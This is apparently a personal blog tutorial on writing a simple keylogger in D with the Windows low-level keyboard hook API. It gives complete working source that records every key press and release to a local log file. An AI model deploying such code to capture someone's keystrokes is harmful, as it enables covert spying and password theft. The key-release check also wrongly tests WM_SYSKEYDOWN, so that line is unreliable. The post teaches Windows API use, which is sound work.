Writing a naive keylogger in D

I would like to start by saying that this is strictly for educational purposes and to demonstrate how to interact with the Windows API in D.

The reason why I know how keyloggers work is that I once wrote [a tool to intercept pressed keys and in return, simulate key presses that are defined in a config file]. I had to do this because some of my keys stopped working and I thought it wise to reuse some of the already functional ones as a replacement. It should come as no surprise to you at this point that I am an extremely lazy individual, so it was natural for me to writer "keymapper" instead of actually getting the keyboard fixed. I only found out a year later that the keyboard was not broken at all. In fact, I had opened up my laptop to fix the power jack which resulted in me unscrewing a bunch of stuff, so when it came time to put it back together, I botched the operation and may or may not have inserted the keyboard connector correctly. By the time I was done, I noticed that I had a few spare screws with no idea on where they came from nor where they should go. Anyway, that's the story of how I spent an entire year with a 75% functional keyboard and moody keys whose functionality comes and goes.

In order to be able to write "keymapper", I had to visit some shady parts of the web and read a bunch of tutorials written by individuals whose morality was questionable at best. I'm talking real dark parts here, the underbelly of the web, the kind of place your parents warned you about when you were a kid. The sort of place that you can only find by...

Doing a google search ? Well there goes my street cred. The website is called hackforums.net, a forum where script kiddies and wannabe hackers abound. I was personally a part of the PHP community there, and while the forum was overrun by teenagers and scammers in search of a quick buck, the PHP section was a haven that shielded us away from all that madness and provided a semblance of sanity and camaraderie to the members of the community. But I digress.

A keylogger, in case you don't already know, is a program that intercepts key presses and stores them somewhere. It's mostly used for spying, but as I mentioned earlier, it has some legitimate uses like the one I wrote it for. Keyloggers that are sold in HF's marketplace are often very advanced, they not only log keys but they also include other features like stealing passwords and whatnot. Today's article will focus on retrieving keys and saving them in a text file. Baby steps.

I'll start by explaining how to intercept a key press. For this, the Windows API offers what is called a "low level keyboard hook". For microcontroller (and Arduino) enthusiasts out there, a hook is a lot like an interrupt : you register an interrupt handler - or in this case, a hook procedure - that gets called whenever a specific interrupt - in this case, a keyboard input event - is triggered. The procedure takes a few parameters :

  • int ncode : indicates whether or not to respond to this specific event. Either way, the code should indicate that the hook procedure has finished its work by calling the CallNextHookEx function.
  • WPARAM wparam : specifies whether a key was pressed or released.
  • LPARAM lparam : contains information about the key.

And that's it. The main logic of the program will be written inside this function. Everything else is just boilerplate to set it up and keep the program running. Writing boilerplate code is boring but it has to be taken care of. Luckily for us, we only have to call a few functions and we're set.

First things first : we'll set up the low-level keyboard hook. For that, we'll need to call the [SetWindowsHookEx] function. You can read the documentation for more details, but we'll only need to define the first two arguments : int idHook, in this case WH_KEYBOARD_LL and HOOKPROC lpfn, a callback that we will create later on. The remaining parameters will be set to null and 0 respectively. Normally that shouldn't be the case, but low-level keyboard hooks like these are an exception and will work despite the warning in the manual :

An error may occur if the hMod parameter is NULL and the dwThreadId parameter is zero or specifies the identifier of a thread created by another process.

This is where the documentation gets confusing. In the description of the third and fourth arguments, it says (emphasis mine) :

hMod [in]

Type: HINSTANCE

A handle to the DLL containing the hook procedure pointed to by the lpfn parameter. The hMod parameter must be set to NULL if the dwThreadId parameter specifies a thread created by the current process and if the hook procedure is within the code associated with the current process.


dwThreadId [in]

Type: DWORD

The identifier of the thread with which the hook procedure is to be associated. For desktop apps, if this parameter is zero, the hook procedure is associated with all existing threads running in the same desktop as the calling thread. For Windows Store apps, see the Remarks section.

Which means that NULL, 0 is a valid combination. I did some googling and it appears that low-level hooks are indeed an exception to this rule. ([1], [2]). We will however still check the return value of the SetWindowsHookEx call to make sure it returns a valid handle. According to the manual, we'll also need to eventually unhook the newly created hook by calling [UnhookWindowsHookEx] on it :

import std.stdio;
import core.sys.windows.windows;

void main()
{
    HHOOK hook = SetWindowsHookEx(WH_KEYBOARD_LL, cast(HOOKPROC) &hookProc, null, 0u);
    if(hook is null)
    {
        stderr.writeln("Exited with code : ", GetLastError());
        return;
    }
    scope(exit) UnhookWindowsHookEx(hook);
}

The SetWindowsHookEx call would not work unless I explicitly cast hookProc to HOOKPROC, even though it is declared with the extern(Windows) attribute as you will soon be able to see.

Notice that I'm using scope(exit), a feature of D, to call UnhookWindowsHookEx before exiting. This is referred to as a "scope guard" statement, its purpose in this case is to keep the cleanup code close to the initialization code. UnhookWindowsHookEx will now get called when we leave the main function's scope, regardless of whether or not it's caused by an error. You can read more about scope guards [here], the article also compares them to other solutions like RAII and try-finally. You can also try them interactively on this [D tour] page.

Now all that's left to do in the main function is for us to introduce a message loop :

This hook is called in the context of the thread that installed it. The call is made by sending a message to the thread that installed the hook. Therefore, the thread that installed the hook must have a message loop.

import std.stdio;
import core.sys.windows.windows;

void main()
{
    HHOOK hook = SetWindowsHookEx(WH_KEYBOARD_LL, cast(HOOKPROC) &hookProc, null, 0u);
    if(hook is null)
    {
        stderr.writeln("Exited with code : ", GetLastError());
        return;
    }
    scope(exit) UnhookWindowsHookEx(hook);

    MSG msg;
    while(GetMessage(&msg, null, 0u, 0u))
    {
        TranslateMessage(&msg);
        DispatchMessageA(&msg);
    }
}

Moving on. Let's write the hookProc function. The manual says that hookProc must exit prematurely if the nCode argument is not equal to HC_ACTION, but not before passing the message to the CallNextHookEx function. But other than that, we can do whatever we want with it. lParam is in reality a pointer to a [KBDLLHOOKSTRUCT] struct that contains information about the keyboard event. I'm only really interested in the vkCode field, although the scanCode may be more relevant. For now let's just print it out :

extern(Windows) LRESULT hookProc(in int nCode, in WPARAM wParam, in LPARAM lParam)
{
    if(nCode < 0)
        return CallNextHookEx(null, nCode, wParam, lParam);
    auto hookStruct = cast(KBDLLHOOKSTRUCT *) lParam;
    if(wParam == WM_KEYDOWN || wParam == WM_SYSKEYDOWN)
        writefln("Pressed : %x", hookStruct.vkCode);
    else if(wParam == WM_KEYUP || wParam == WM_SYSKEYDOWN)
        writefln("Released : %x", hookStruct.vkCode);
    return CallNextHookEx(null, nCode, wParam, lParam);
}

Now that we're able to retrieve keyboard events and print them to the screen, it becomes trivial to store them in a file. All that's left to do is to open a file handle and pass it to the writefln calls.

import std.stdio;
import core.sys.windows.windows;

File fh;

void main()
{
    fh = File("log.txt", "a");
    HHOOK hook = SetWindowsHookEx(WH_KEYBOARD_LL, cast(HOOKPROC) &hookProc, null, 0u);
    if(hook is null)
    {
        stderr.writeln("Exited with code : ", GetLastError());
        return;
    }
    scope(exit) UnhookWindowsHookEx(hook);

    MSG msg;
    while(GetMessage(&msg, null, 0u, 0u))
    {
        TranslateMessage(&msg);
        DispatchMessage(&msg);
    }
}

extern(Windows) LRESULT hookProc(in int nCode, in WPARAM wParam, in LPARAM lParam)
{
    if(nCode < 0)
        return CallNextHookEx(null, nCode, wParam, lParam);
    auto hookStruct = cast(KBDLLHOOKSTRUCT *) lParam;
    if(wParam == WM_KEYDOWN || wParam == WM_SYSKEYDOWN)
    {
        fh.writefln("Pressed : %x", hookStruct.vkCode);
        fh.flush();
    }
    else if(wParam == WM_KEYUP || wParam == WM_SYSKEYDOWN)
    {
        fh.writefln("Released : %x", hookStruct.vkCode);
        fh.flush();
    }
    return CallNextHookEx(null, nCode, wParam, lParam);
}

And voilà ! You might want to convert the hexadecimal values to something more descriptive, maybe by using a lookup table that indexes the values described [here]. But other than that, this is all you need to write a keylogger in D, everything else is just a matter of logistics.

Commentaires

Posts les plus consultés de ce blog

Writing a fast(er) youtube downloader

My experience with Win by Inwi

Porting a Golang and Rust CLI tool to D